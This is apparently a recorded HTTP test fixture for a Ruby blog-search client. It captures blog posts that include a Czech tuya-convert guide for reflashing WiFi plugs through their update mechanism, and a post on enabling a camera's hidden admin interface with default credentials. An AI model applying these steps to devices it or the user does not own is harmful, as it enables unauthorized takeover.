twingly/twingly-search-api-ruby

---
http_interactions:
- request:
    method: get
    uri: https://api.twingly.com/blog/search/api/v3/search?apikey=api_key&q=github%20page-size:100
    body:
      encoding: US-ASCII
      string: ''
    headers:
      User-Agent:
      - MyCompany/1.0
      Accept-Encoding:
      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
      Accept:
      - "*/*"
  response:
    status:
      code: 200
      message: OK
    headers:
      Server:
      - nginx
      Date:
      - Wed, 27 Mar 2019 18:52:44 GMT
      Content-Type:
      - application/xml; charset=utf-8
      Transfer-Encoding:
      - chunked
      Connection:
      - keep-alive
      Cache-Control:
      - no-cache
      Pragma:
      - no-cache
      Expires:
      - "-1"
    body:
      encoding: ASCII-8BIT
      string: !binary |-
        <?xml version="1.0" encoding="utf-8"?><twinglydata numberOfMatchesReturned="100" secondsElapsed="0.256" numberOfMatchesTotal="532856" incompleteResult="false"><post><id>7111350527232555959</id><author>Chris Short</author><url>https://thechrisshort.wordpress.com/2019/03/27/gitlab-11-9-arrives-with-secret-detection-and-newly-open-sourced-chatops/</url><title>GitLab 11.9 arrives with Secret Detection and newly open sourced ChatOps</title><text>http://bit.ly/2Yw8Okv 
In light of a new academic study that found over 100,000 GitHub repos with leaked API tokens and cryptographic keys, GitLab introduces with the 11.9 release secret detection as part of the SAST functionality to reassure its users.</text><languageCode>en</languageCode><locationCode>br</locationCode><coordinates /><links><link>http://www.bit.ly/2Yw8Okv</link></links><tags><tag>Uncategorized</tag></tags><images /><indexedAt>2019-03-27T18:47:40Z</indexedAt><publishedAt>2019-03-27T18:39:19Z</publishedAt><reindexedAt>2019-03-27T18:47:40Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>3998493916743928874</blogId><blogName>thechrisshort</blogName><blogUrl>https://thechrisshort.wordpress.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>8884744753672674867</id><author>jvyoralek</author><url>https://blog.vyoralek.cz/iot/hackujeme-wifi-zasuvky-vlastni-firmware-bez-rozebrani/</url><title>Hackujeme WiFi zásuvky – vlastní firmware bez rozebrání</title><text>Co je tuya-convert?



Michael Steigerwald, zakladatel německého startupu VTRUST díky reverznímu inženýrství vypátral, jak čínská firma tuya provádí vzdálenou aktualizaci firmware na jednotlivých zařízeních – tuya je aktuálně jedním z největších hráčů na poli IoT a dodává své řešení pro více jak 10tisíc výrobců. 



Michaela to přivedlo k myšlence použít tento způsob vzdálené aktualizace pro nahrání vlastního firmware mimo cloud – v principu jde o nahrání firmware bez nutnosti zařízení rozebírat. 



Tuya-convert je sada python skriptů, jejichž cílem je nasimulovat tuya cloud. 



Je vhodné upozornit, že tuya-convert není rozhodně uživatelsky vymazlená aplikace a v případě problémů se můžete hodně zapotit . Nicméně výsledek bez nutnosti fyzického rozebrání zařízení stojí za to. 



Nyní už tak víme co bude naším cílem a pojďme se podívat na celý postup, který si můžeme rozdělit na části: 



Příprava a instalace tuya-convertPříprava alternativního firmwarePodstrčení alternativního firmware pomocí tuye-convertFinální ladění



 Mějte na paměti, že při nahrávání může dojít k nečekaným problémům, které může způsobit nefukčnost zařízení kam firmware nahráváte – tzv. zcihlení a bude nutné zařízení fyzicky rozebrat. 



1. Příprava a instalace tuya-convert



Pro instalaci tuya-convert budeme potřebovat počítač s operačním systémem Linux a ideálně kombinací ethernetu + WiFi popř dvou WiFi zařízení. 



Jako ideální se jeví jeden z nejrozšířenějších minipočítačů Raspberry Pi 3B+ (pokud nemáte pak na Alza nebo AliExpress), popř. i starší verze bez plus. 



My si návod dnes ozvláštníme a podíváme se na drobně složitější postup v případě použití Armbian OS se základní deskou NanoPi M4 (nedávno jsem sepsal recenzi, k dostání na AliExpressu). 



Můžete použít minipočítač co už máte např. na HomeAssistant, ale doporučuju v tomhle případě si připravit separátní SD kartu a nainstalovat čistý nový systém jen pro účely tuya-convert. 



Instalace operačního systému – Armbian OS



Instalace bude poměrně přímočará a rychlá, jelikož můžeme použít předpřipravených image (obrazů) pro NanoPi M4. 



Já nejprve zkoušel instalaci s Ubuntu, ale doporučuji zvolit tentokráte raději Debian. Vyhnete se tak jednomu problému s dnsmasq. 



Diskové image jsou k dispozici na webu Armbianu a stáhněte si tedy verzi Armbian Stretch (obsahuje Debian). 



Pro nahrání image na SD kartu použijeme jako obvykle aplikaci Etcher. 







Po nastartování z SD karty použijeme přihlášení root / 1234 a následně budeme muset heslo změnit dle naší libosti. 



Provedeme aktualizaci všech balíčků (apt update &amp;&amp; apt upgrade) a zapneme si ssh v utilitě armbian-config. 



Instalace tuya-convert repositáře



Tím máme základní systém připravený a můžeme se vrhnout do naklonování tuya-convert repozitáře a spuštění instalace potřebných balíčků: 



git clone https://github.com/ct-Open-Source/tuya-convert
cd tuya-convert
./install_prereq.sh



Instalace by měla skončit s následujícími řádky: 



Successfully built paho-mqtt pyaes tornado
Installing collected packages: paho-mqtt, pyaes, tornado
Successfully installed paho-mqtt-1.4.0 pyaes-1.6.1 tornado-6.0.2
Ready to start upgrade







Možný problém – ImportError: No module named Crypto.Cipher



Pokud jsem po těchto krocích tuya-convert spustil, tak vše vypadalo vpořádku, ale proces nahrávání nefungoval. Podíval jsem se proto do logů a v nich našel hlášku o chybějící knihovně Crypto.Cipher. Netuším tedy, zda je to potřeba instalovat jen v Armbianu, nicméně pokud byste se s hláškou setkali tak je to možné vyřešit pomocí: 



apt-get install python3-dev
pip install pycrypto







Nyní máme tuya-convert připravený a můžeme se vrhnout na přípravu firmware. 



2.Příprava alternativního firmware



Možnosti máme už v dnešní době povícero, ale jak už zřejmě pravidelní čtenáři blogu tuší, já se zaměřím na dvě – Sonoff-Tasmota a ESPHome. 



Jako produkt pro přeflešování jsem si vybral Blitzwolf BW-SHP2 (k dostání na AliExpress, Banggood), což je tentýž produkt jako Koogeek KLSP1 (AliExpress) a nebo Gosund SP1 .. a zřejmě nějaké další.  



Produkty jsou fyzicky vyrobeny v číně firmou tyua a liší se jen drobně na základě požadavků prodejců, kteří je pak dále distribují pod svými značkami. 







Velkou výhodou produktu je cena – cca. $13 (300Kč). Zásadní nevýhodou, ale může být německý konektor do zásuvky – rozdíly mezi německou a francouzskou verzí jsem sepsal v článku.  



Nicméně postup přípravy firmware i nahrávání přes tyua-convert by měl být velice podobný. 



Sonoff-Tasmota



Pro Sonoff-Tasmota není potřeba dělat nějaké speciální přípravy. Výhodou může být, že aktuálně je základní Sonoff-Basic varianta obsažena v tuya-convert a není potřeba tedy nic stahovat. Samotné nastavení pro zmiňované zásuvky si ukážeme v poslední části. 



ESPHome



ESPHome má poněkud odlišnou filozofii. Namísto poměrně obecného image je potřeba zkompilovat image specifickou pro náš produkt. Je potřeba se tedy už nyní podívat na konfiguraci. 



Na postup instalace ESPHome a základní práci se prosím koukněte do staršího článku. 



Nazačátek doporučuji udělat něco podobného jako Sonoff-Basic, tedy úplně základní firmware ještě bez dalších funkcionalit. 



Pro zmiňované zásuvky by nám měla stačit následující konfigurace: 



esphome:
  name: blitzwolf01
  platform: ESP8266
  board: esp8285

wifi:
  ssid: ''
  password: ''

logger:

web_server:
  port: 80

api:

ota:



 Konfiguraci v dashboardu ESPHome zkontrolujeme a pomocí ikonky tří teček dáme kompilaci. Výsledný soubor si pak přeneseme na minipočítač do adresáře files v tuya-convert. 



Další funkcionality si přidáme v poslední kapitole. 



3. Podstrčení alternativního firmware pomocí tuye-convert



Konečně tady máme kapitolu, kde využijeme tyua-convert naplno. 



Aplikaci spustíme pomocí ./start_flash.sh a objeví se nám obrazovka s požadavkem na napsání slova yes a potvrzení Enterem. Jakmile to uděláme tuya-convert nastartuje hned několik služeb: 



WiFi access point s názvem vtrust-flashWebový server pro HTTP komunikaciMQTT server Mosqutto pro MQTT komunikaci



======================================================
TUYA-CONVERT

https://github.com/ct-Open-Source/tuya-convert
... 
... CAN NOT be held accountable for ANY DAMAGE or LOSS OF FUNCTIONALITY by typing yes + Enter 

yes
======================================================
  Starting AP in a screen
  Stopping any apache web server
  Starting web server in a screen
  Starting Mosquitto in a screen



Nyní je potřeba udělat dva další kroky: 



připojit se z jakéhokoliv zařízení podporující WiFi na nově vytvořený AP point s názvem vtrush-flash – ideální je použít mobilní telefon. Heslo do sítě je flashmeifyoucan.zapojit zařízení, které chcete přefleshovat do zásuvky a inicializovat párovací mód – jelikož zařízení nebylo ještě použito mělo by naskočit v tomto režimu automaticky. Poznáte to to podle rychle blikající modré diody.



Jakmile máte tyto dva body hotové můžete zmáčknout enter a proces se posune do dalšího kroku: 



======================================================
Starting pairing procedure in screen
RTNETLINK answers: File exists
~/tuya-convert
Waiting for the upgraded device to appear
If this does not work have a look at the '*.log'-files in the 'scripts' subfolder!



Nyní jste se dostali do nejproblematičtějšího bodu – alespoň u mě to tak bylo. Pro lepší přehled jestli proces pokračuje doporučuju se připojit ještě přes jednu konzoli na minipočítač a spustit si výpis logu: 



cd tuya-convert/scripts
tail -f smarthack-wifi.log



Najdete zde veškeré informace o činnosti nově vytvořeného WiFi AP a jakmile se fleshované zařízení objeví v tomto logu máte napůl vyhráno. 



Na začátku bude v logu pouze inicializace: 



root@nanopim4:tuya-convert/scripts ‹master›# tail -f smarthack-wifi.log
Creating new /etc/dnsmasq.conf...
Writing hostapd config file...
Configuring AP interface...
Applying iptables rules...
Starting DNSMASQ server...
Starting AP on wlan0 in screen terminal...
Configuration file: /etc/hostapd/hostapd.conf
Using interface wlan0 with hwaddr b0:f1:ec:65:91:10 and ssid "vtrust-flash"
wlan0: interface state UNINITIALIZED-&gt;ENABLED
wlan0: AP-ENABLED



Jakmile se připojíte mobilní telefonem pak by se v logu o tom měla objevit informace: 



wlan0: STA f4:31:c3:2b:41:dc IEEE 802.11: associated
wlan0: AP-STA-CONNECTED f4:31:c3:2b:41:dc
wlan0: STA f4:31:c3:2b:41:dc RADIUS: starting accounting session 20CEAEEFCA602DA5
wlan0: STA f4:31:c3:2b:41:dc WPA: pairwise key handshake completed (RSN)



… a konečně nakonec pokud se připojí i flashované zařízení: 



wlan0: STA dc:4f:22:fe:6d:f8 IEEE 802.11: associated
wlan0: AP-STA-CONNECTED dc:4f:22:fe:6d:f8



Pokud zařízení v logu nevídíte pak se mi osvědčilo vypínat tuya-convert a zapnout znovu. Bohužel kromě Blitzwolf to nebylo vždy napoprvé a moc nerozumím proč. 



Po navázání spojení se začne automaticky provádět záloha stávajícího firmware flashovaného zařízení – můžete se tak teoreticky vrátit později zpět na původní firmware. Soubor je uložen do kořenového adresáře tuya-convert. 



IoT-device is online with ip 10.42.42.42
Fetching firmware backup
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 1024k  100 1024k    0     0  26642      0  0:00:39  0:00:39 --:--:-- 24706
curl: Saved to filename 'firmware-c49c5e.bin'
======================================================
Getting Info from IoT-device
VTRUST-FLASH 1.1
(c) VTRUST GMBH https://www.vtrust.de/35c3/
READ FLASH: http://10.42.42.42/backup
ChipID: c49c5e
MAC: 60:01:94:C4:9C:5E
BootVersion: 4
BootMode: normal
FlashMode: 1M DOUT @ 40MHz
FlashChipId: 144051
FlashChipRealSize: 1024K
Active Userspace: user2 0x81000

======================================================
Please make sure to note the correct SPI flash mode!
Installing an alternative firmware with the wrong flash mode will leave the ESP unable to boot!

Next steps:
1. To go back to the orginal software
   # curl http://10.42.42.42/undo

2. Be sure the conversion software runs in user2
   # curl http://10.42.42.42/flash2

3. Flash a third party firmware to the device
BE SURE THE FIRMWARE FITS THE DEVICE AND USES THE CORRECT FLASH MODE!
MAXIMUM SIZE IS 512KB
put or link it to ./files/thirdparty.bin
A basic build of Sonoff-Tasmota v6.5.0 is already included in this repository.
   # curl http://10.42.42.42/flash3
Alternatively let the device download and flash a file via HTTP:
   # curl http://10.42.42.42/flashURL?url=http://10.42.42.1/files/thirdparty.bin



Pokud jste se dostali až sem, tak zbývá poslední krok. Tím je nahrání alternativního firmware. 



V případě Sonoff-Tasmota v základní konfiguraci Sonoff-Basic zadáme příkaz: 



curl http://10.42.42.42/flash3



Pokud chceme rovnou nahrát připravený ESPHome firmware pak změníme symbolický link thirdparty.bin, aby neukazoval na sonoff-basic.bin, ale náš firmware 



Proces nahrání pak spustíme příkazem: 



curl http://10.42.42.42/flashURL?url=http://10.42.42.1/files/thirdparty.bin



Na obrazovce se zobrazí informace, že firmware bude nahrát a poté bude zařízení automaticky restartováno. 



4. Finální ladění



Ukážeme si opět dvě možnosti. První pro Sonoff-Tasmota a druhou pro ESPHome. 



Sonoff-Tasmota



Po přeflešování bychom ve webovém rozhraní Tasmoty měli vidět cca. následující úvodní obrazovku: 







Pro zapnutí všech funkcionalit, které nám WiFi zásuvka nabízí je potřeba změnit konfiguraci a pro naše zmíněné zásuvky to bude typ Gosund SP1 v23. 



Po restartu bychom nově měli vidět i všechny informace týkající se aktuální a denní spotřeby. 







ESPHome



U ESPHome bychom po úspěšném přefleshování měli v dashboardu vidět zařízení jako Online. 







Zároveň si můžeme ověřit webového rozhraní přímo na zařízení: 







Pro přidání podpory funkcionalit zásuvek je potřeba ještě zeditovat konfiguraci a přidat následující řádky: 



binary_sensor:
  - platform: gpio
    id: button
    pin:
      number: GPIO3
      inverted: True
    on_press:
      - switch.toggle: fakebutton

switch:
  - platform: template
    name: "Blitzwolf SHP2 Přepínač"
    optimistic: true
    id: fakebutton
    turn_on_action:
    - switch.turn_on: relay
    - light.turn_on: led
    turn_off_action:
    - switch.turn_off: relay
    - light.turn_off: led
  - platform: gpio
    id: relay
    pin: GPIO14

output:
  - platform: esp8266_pwm
    id: pow_blue_led
    pin:
      number: GPIO1
      inverted: True

light:
  - platform: monochromatic
    output: pow_blue_led
    id: led

sensor:
  - platform: wifi_signal
    name: "Blitzwolf SHP2 WiFi Signál"
    update_interval: 60s
  - platform: uptime
    name: "Blitzwolf SHP2 Doba běhu"
  - platform: hlw8012
    sel_pin:
      number: GPIO12
      inverted: True
    cf_pin: GPIO04
    cf1_pin: GPIO05
    current_resistor: "0.0028"
    voltage_divider: "960"
    current:
      name: "Blitzwolf SHP2 Proud"
      unit_of_measurement: A
    voltage:
      name: "Blitzwolf SHP2 Napětí"
      unit_of_measurement: V
    power:
      name: "Blitzwolf SHP2 Příkon"
      unit_of_measurement: W
      id: power
    change_mode_every: 8
    update_interval: 10s
  - platform: total_daily_energy
    name: "Blitzwolf SHP2 Denní spotřeba"
    power_id: power
    unit_of_measurement: W

text_sensor:
  - platform: version
    name: "Blitzwolf SHP2 Verze firmware"

status_led:
  pin: GPIO13

time:
  - platform: sntp
    id: my_time



V logu pak po restartu můžeme vidět jednotlivé parametry: 



[16:14:58][C][ota:128]:   Address: blitzwolf01.local:8266
[16:15:02][D][time.sntp:077]: Synchronized time: Wed Mar 27 16:15:30 2019
[16:15:13][D][sensor.hlw8012:084]: Got power=19.6W, voltage=240.4V
[16:15:15][D][api:546]: Client 'Home Assistant 0.90.1 (10.2.1.158)' connected successfully!
[16:15:23][D][sensor.hlw8012:084]: Got power=19.8W, voltage=240.2V



Musím přiznat, že tento článek byl jedním z nejnáročnějších, jelikož nebylo úplně přímočaré najít kombinace, které by fungovaly vzhledem k tomu co jsem měl k dispozici. 



Nicméně i přesto a za pomocí tohoto článku byste mohli ušetřit nutnost rozebírat fyzicky zásuvky i vzhledem k tomu, že zrovna tyto zmíně používají poněkud netradiční šroubky s trojúhleníkovým tvarem. 



Z nějakého důvodu se mě zajím nepodařilo přefleshovat ani jeden produkt Lonsonho, i přesto že by také měli používat tyua. Doporučuji se jim tedy zatím raději vyhnout. 



Pokud máte jakékoliv zkušenosti s tyua-convert budu rád, když se s nimi podělíte v komentářích. Užitečné informace opět jako obvykle přidám rovnou do článku. 
The post Hackujeme WiFi zásuvky – vlastní firmware bez rozebrání appeared first on blog.vyoralek.cz.</text><languageCode>cs</languageCode><locationCode>cz</locationCode><coordinates /><links><link>https://www.vtrust.de/</link><link>https://en.tuya.com/</link><link>https://www.github.com/ct-Open-Source/tuya-convert</link><link>https://www.armbian.com/orange-pi-zero-2-h5</link><link>https://www.balena.io/etcher</link></links><tags><tag>IoT</tag><tag>esphom</tag><tag>firmware</tag><tag>sonoff-tasmota</tag></tags><images /><indexedAt>2019-03-27T18:36:53Z</indexedAt><publishedAt>2019-03-27T18:36:15Z</publishedAt><reindexedAt>2019-03-27T18:36:53Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>14726043130899215942</blogId><blogName>blog.vyoralek.cz</blogName><blogUrl>https://blog.vyoralek.cz</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>9740639564553116288</id><author>Giles Hamson</author><url>https://indieretrohack.wordpress.com/2019/03/27/hacking-the-schlage-wco100-oc810-adding-to-surveillance-station/</url><title>Hacking the Schlage WCO100 (OC810) &amp; adding to Surveillance Station</title><text>Now I know this is not your typical retro game related post… however… it is a hack… the camera is at least 6 years old (is that retro?) and is something I have been doing at home that I thought I would share… I promise there won’t be too many non-game related posts… anyway, without further ado. 



I had a Schlage WCO100 IP Camera that came with the house we bought. However, it requires subscription to work.  There is an answer though… it turns out the Schlage WCO100 is just a re-branded version of the Sercomm OC810. 



  Schlage: WCO100 /   Sercomm: OC810 /  ADT: OC810-ADT 



Here’s what you can do to access the functionality for your own DIY monitoring solution at home. 







Step 1: Find the device on your router &amp; block internet access



The Schlage WCO100 calls the Nexia subscription service on first boot and appears to lock down the camera. 



To stop access, I used my CUJO to determine the IP Address and block the internet access.  You may be able to do the same on your router. 



The blocks the device based on MAC address, by default it is set to DHCP… so matter which IP Address is assigned, the camera will not be able to access the internet. 



CUJO interface, blocking internet access







Step 2: Reset the device to clear the admin password:







Unplug the Ethernet cable and powerGet a paper clip and place inside the reset hole until you feel the button click.  Hold it in there and power up the system.You will see the green light on the front be solid with no flashing.Take out the paper clip and reset the device (unplug it)Plug in the Ethernet and the power







Step 3: Enable the Administration UI



By default, the Administration UI is hidden.  (presumably to try and stop this kind of hack and maintain the proprietary nature of the Schlage solution. 



If you try, you get the following message: 







The requested URL ‘/’ was not found on this server.  



To enable the Administration UI of the camera type in the browser to enable it: 



&lt;a href="http://http://&lt;ip address&gt;/adm/enable_ui.cgi    



You will be asked to login.  Now that you have reset the device, the default credentials are: 



Username: administratorPassword: 



Once you login successfully, you will get the following success message: 



 



NB: Keep in mind, if you reboot the device, you will need to re-enable the administration UI each time to access it.  However, your settings will be saved. 







Step 4: Login to the admin interface and configure



You can access the Administration UI by going to the IP Address on port 80… aka &lt;a href="http://http://&lt;ip address&gt;. 



Click Administration to change settings



First thing to do is change the admin user name and password, then unblock the internet connection.  The camera will not be reset to Schlage user/pwd now and you should no longer need to block the internet connection now. 



Your hack is now complete and you are ready to either access the camera directly or add to your surveillance solution.  More useful information can be found here https://github.com/LHVJoe/Sercomm-API.  







Information required for adding the camera to Synology Surveillance Station.



Now that we have a functioning camera that we control… the next thing to do is add it to Surveillance Station.  Now I am not going into the specifics of adding cameras to Synology Surveillance Station.   







However, I will list the pertinent information you need that took me a while to find, through various googling efforts. 



The OC810 / WCO100 is ONVIF compliant which is an industry standard and is thankfully compatible with the free Synology Surveillance Station that comes with there NAS devices.  With this free software you get to connect 2 camera’s without cost… then its approximately a $60 one-off fee per camera after that. 



In Surveillance Station, click the IP Camera app and then click add.  Use the following values: 



Name: (Whatever you want to call it – example: Indoor – Living Room)Brand: set to [User Defined]Type: Streaming – RTSPPath: :554/img/media.savThis URL provides video and audio/img/video.sav provides just video







Ok, that’s it… not your typical retro gaming post I know… but still a hack of sorts nonetheless.  I hope this is useful to people and if you find yourself having a WCE100 model… there is actually some links and files below for replacing the firmware to get rid of the Schlage call home.  



This does not work for the WCO100 and requires a 32bit based windows OS to implement… but I did manage to install the software and it recognized the camera… it just wouldn’t apply the firmware due to a hardware mis-match.  I have also uploaded the files to my OneDrive so that people can download and try. 



Till the next time… 



Original information for the hack came from the following links: 



WCO100 Hack information: http://wisscot.blogspot.com/2017/01/schlage-wco100-oc810-hack.htmlWCE100 Open Firmware Replacement Instructions: https://www.ispgeeks.com/wild/modules.php?name=Forums&amp;file=viewtopic&amp;p=25893WCE100 Open Firmware link to files for hack: https://pastebin.com/RGV9yndLThese files seem to be hard to find so I uploaded them here too: https://1drv.ms/f/s!Ak-66cDvpyBTiN5eVV1tJQ2K0TvAjgOpen Source GitHub project –   Sercomm-API :  https://github.com/LHVJoe/Sercomm-API</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://www.github.com/LHVJoe/Sercomm-API</link><link>http://wisscot.blogspot.com/2017/01/schlage-wco100-oc810-hack.html</link><link>https://www.ispgeeks.com/wild/modules.php?name=Forums&amp;file=viewtopic&amp;p=25893</link><link>https://www.pastebin.com/RGV9yndL</link><link>https://www.1drv.ms/f/s!Ak-66cDvpyBTiN5eVV1tJQ2K0TvAjg</link><link>https://www.github.com/LHVJoe/Sercomm-API</link></links><tags><tag>IP Camera Security</tag><tag>Other Media</tag><tag>PC</tag><tag>Useful Tools</tag><tag>ADT</tag><tag>CUJO</tag><tag>DIY Monitoring</tag><tag>featured</tag><tag>Firewall</tag><tag>IP Camera</tag><tag>Monitoring</tag><tag>OC810</tag><tag>OC810-ADT</tag><tag>ONVIF</tag><tag>Schlage</tag><tag>Surveillance Station</tag><tag>Synology</tag><tag>WCE100</tag><tag>WCO100</tag></tags><images /><indexedAt>2019-03-27T18:33:16Z</indexedAt><publishedAt>2019-03-27T18:32:40Z</publishedAt><reindexedAt>2019-03-27T18:33:16Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>15363967967579625772</blogId><blogName>IndieRetroHack</blogName><blogUrl>https://indieretrohack.wordpress.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>1887359543058646920</id><author>Bullish Green's Bitcoin Whispers</author><url>https://www.thebitcoinwhispers.com/2019/03/the-lightning-torch-how-community.html</url><title>The Lightning Torch: How the Community United to Teach Jack Dorsey About Feeless, Rapid Off-Chain Transactions</title><text>Over the last few weeks, the Lightning Network — Bitcoin’s off-chain scaling protocol — has made waves. Over the last few weeks, Bitcoin’s (BTC) second-layer scaling protocol, called the Lightning Network (LN), has gained a lot of traction, steadily proving to become a viable solution to BTC’s infamous scalability problem and even potential competitor to American payments giant Visa. Thanks to the community-driven Twitter experiment called “the Lightning Torch,” the LN has now been co-signed by Jack Dorsey, who says that integrating the protocol on Square’s popular Cash App is a question of “when, not if.” On top of raising awareness, the social media campaign has also shown what the LN technology is ready to offer in real conditions — but also revealed some of its shortcomings. A brief history of the Lightning Network, an ambitious campaign to tackle Bitcoin’s scalabilityThe history of the protocol could be traced back to January 2016, when Joseph Poon and Thaddeus Dryja published a white paper dubbed “The Bitcoin Lightning Network: Scalable Off-Chain Instant Payments.” In it, they underpinned Bitcoin’s Achilles Heel — the scalability issue — and compared the cryptocurrency’s capacity to Visa to illustrate their point: “The payment network Visa achieved 47,000 peak transactions per second (tps) on its network during the 2013 holidays, and currently averages hundreds of millions per day. Currently, Bitcoin supports less than 7 transactions per second with a 1 megabyte block limit.” Achieving Visa-like volume on the Bitcoin network seemed barely possible, given that handling that kind of bandwidth and storage would require a great amount of computing power. However, Poon and Dryja argued, there is a way to make Bitcoin a feasible alternative to existing payment systems while keeping its signature decentralization and security — and that would be off-chain scaling. Enter LN, a network of off-chain payment channels, which require almost no fees and allow for fast, seamless transactions that are made on a layer above the actual blockchain. “With an off chain payment channel you can deposit, for instance, $100 once, and pay network fee for it, and then pay to your favorite shop as many times as you wish, without paying any transaction fees to the network, to the sum of $100,” explains Eyal Shani, a blockchain researcher at consulting group Aykesubir. He added: “Instead of paying a transaction and sending it to the entire network, you send an encrypted and signed ‘promise’ that you owe that other party, say, $10 out of the $100. Finally, if the paid party needs the money for another purpose, they close the channel by sending the promise to the entire network. Theoretically, you can do millions of transactions for the price of twice the network fee.” That way, users can conduct numerous transactions outside of the blockchain and then, when they’re done, record them as a single one, hence saving a lot of processing for the ledger. To describe how the channels work in greater detail, Shani makes an analogy with buckets of water, emphasizing one of its main shortcoming along the way: “When you deposit money on it, you're filling the bucket and then when you spend it, it slowly loses that water. The bucket can also be full, as you can't have too much water in it. Because of this, for example, once you open a LN channel, you cannot receive money right away — your bucket is full, and first you have to spend some. However, based on the fact that you want to transfer (usually) money from A to D, via the channels of B and C along the way it is a real problem to keep everyone’s channel with enough liquidity (i.e, balance) to make the transfer.” Although the LN has been designed specifically for Bitcoin’s blockchain, Shani adds, the concept can be performed on other blockchains — for instance, there is the Raiden network created for Ethereum (ETH). Moreover, as Cointelegraph reported in a more in-depth analysis of the LN, the network is also testing the so-called cross-chain atomic swaps, which are basically transfers of tokens between different blockchains. If properly implemented, this feature could allow to quickly — and with little to no fees — swap any given cryptocurrency to a different one, and hence challenge the use of cryptocurrency exchanges. The Lightning Torch — from a local flash mob to a powerful movement co-signed by the CEO of TwitterThe Lightning Torch, also known as LN Trust Chain, is a community-driven experiment aimed at raising awareness about the protocol and testing its robustness. It was launched on Jan. 19, when Twitter user and Bitcoin enthusiast Hodlonaut announced he or she was willing to pass on 100,000 Satoshis (the smallest unit of a Bitcoin) via the LN to the first person who seems reliable. That volunteer would have to add another 10,000 Satoshis and send the whole amount to another person willing to participate, and so on. The process somewhat resembles the Olympic torch relay, hence the name “the Lightning Torch.” Eventually, the hashtag #LNTrustChain began circulating to ease communication among community members involved in the experiment, giving the movement an additional boost on social media. “The experiment got traction pretty fast among my little twitter bubble. First 100 passes took less than a week.” Hodlonaut tells Cointelegraph over Twitter DMs. “I think busiest day may actually have been the first day, January 19, with more than 20 passes. The pace of passing has decreased with time, mainly because people are trying to make passes to specific people instead of just sending to one of the invoices sent to them on twitter.” As of press time, the torch has been carried by more than 240 people in 52 different countries. The list of participants includes, among others, a 88-year-old grandmother of a crypto enthusiast, Twitter CEO Jack Dorsey, financial derivatives giant Fidelity Investments, LinkedIn co-founder and former PayPal Chief Operating Officer Reid Hoffman and Monero (XMR) Core developer Riccardo Spagni, who passed the torch while inflight. “I was excited about LN, and wanted to have some fun/experiment with it.” Hodlonaut recalls. “I was curious to see how far something like that could go. Didn't expect it to last very long or get much attention… So the @jack thing was pretty mindblowing” Initially, Hodlonaut says, his or her goal was to simply spread awareness about the LN and its potential use. He or she has been interested in the protocol since the testnet days, but it was in September 2018 when Hodlonaut finally set up their own node using RaspiBlitz’s instructions. Hodlonaut continued: “Why I got interested is because the instant nature is so fascinating. To be able to send fractions of bitcoin instantly like this was mind blowing in the same way my first transactions on-chain after discovering Bitcoin in 2013.” Even though the LN community has appeared overall trustful and cooperative, there have been a few bumps in the road. Early on, when the torch had amassed around 250,000 Satoshis, it was hijacked by an umbrageous user. “I thought it was the end, but on his own initiative the guy who sent to the thief, resent to a new person out of his own pocket to keep the torch alive,” the movement’s founder says. Then, around 2.5 million Satoshis, the torch fell into the hands of a reluctant person who declared he wasn't going to pass it on. “He was hostile to the experiment, calling it a stupid circlejerk. But once again, the guy who sent it to him, resent to a new person out of his own pocket,” Hodlonaut says, summarizing at some point: “Turns out, this community is pretty awesome.” Foreseeable future: donations to Bitcoin Venezuela, negotiations with major United States retailer who has dropped VisaNow that the movement is rapidly growing, a more concrete milestone has been set up. “The goal is to get to the Lightning Network tx cap at 4.29 Msats,” Hodlonaut says. “The torch is then donated to @btcven [Bitcoin Venezuela] along with the funds from this fundraiser.” Bitcoin Venezuela was chosen because of the local economic hardship, Hodlonaut explains. Indeed, Venezuela’s economy has reportedly fallen by 47 percent since the end of 2013, as the bolivar, the local sovereign currency, have been drastically inflating under the politics of Nicolas Maduro, the country’s president. As a result, the local people have largely turned to Bitcoin, which, due to its decentralized nature, appeared as a means to bypass the unstable fiat currency — last month, BTC trading volumes in Venezuela reached a new all-time high. “They [Bitcoin Venezuela] have a long track record of spreading bitcoin adoption, feeding people and trying to put infrastructure like mesh networks in place,” the movement’s founder says. Meanwhile, despite still being in its infant stage, the LN is picking up the pace. Although it is still unclear whether the protocol will ever be able to dethrone Visa, there are promising signs. Earlier this month, major U.S. retailer Kroger announced that its Smith's Food &amp; Drug stores will not accept Visa cards starting April 3, citing the high fees that company imposes on large retailers. "Visa has been misusing its position and charging retailers excessive fees for a long time," Kroger's Chief Financial Officer Mike Schlotman said. In response, Anthony Pompliano, founder of Morgan Creek Capital — an institutional investment house with $1.5 billion in assets under management — suggested that Kroger should deploy the Lightning Network in its stores. According to one of his tweets, the negotiations have already started.</text><languageCode>en</languageCode><locationCode>jp</locationCode><coordinates /><links><link>https://www.cointelegraph.com/tags/bitcoin</link><link>https://www.cointelegraph.com/tags/scalability</link><link>https://www.cointelegraph.com/tags/lightning-network</link><link>https://www.cointelegraph.com/explained/blockchains-scaling-problem-explained</link><link>https://www.cointelegraph.com/tags/usa</link><link>https://www.cointelegraph.com/tags/visa</link><link>https://www.cointelegraph.com/tags/twitter</link><link>https://www.cointelegraph.com/news/jack-dorsey-says-cash-app-support-for-lightning-network-a-question-of-when-not-if</link><link>https://lightning.network/lightning-network-paper.pdf</link><link>https://www.cointelegraph.com/lightning-network-101/altcoins-with-lightning-network-support</link><link>https://www.cointelegraph.com/news/raiden-project-sets-milestone-for-ethereums-scaling-solution</link><link>https://www.cointelegraph.com/tags/ethereum</link><link>https://www.cointelegraph.com/lightning-network-101/what-is-lightning-network-and-how-it-works#how-does-it-work</link><link>https://www.cointelegraph.com/tags/cryptocurrency-exchanges</link><link>https://www.twitter.com/hodlonaut/status/1086703428791865345</link><link>https://www.twitter.com/hashtag/lntrustchain</link><link>https://www.twitter.com/Ibelite/status/1097692828812099584</link><link>https://www.cointelegraph.com/news/derivatives-giant-fidelity-investments-receives-and-passes-on-the-lightning-torch</link><link>https://www.cointelegraph.com/tags/linkedin</link><link>https://www.cointelegraph.com/tags/paypal</link><link>https://www.cointelegraph.com/news/ex-p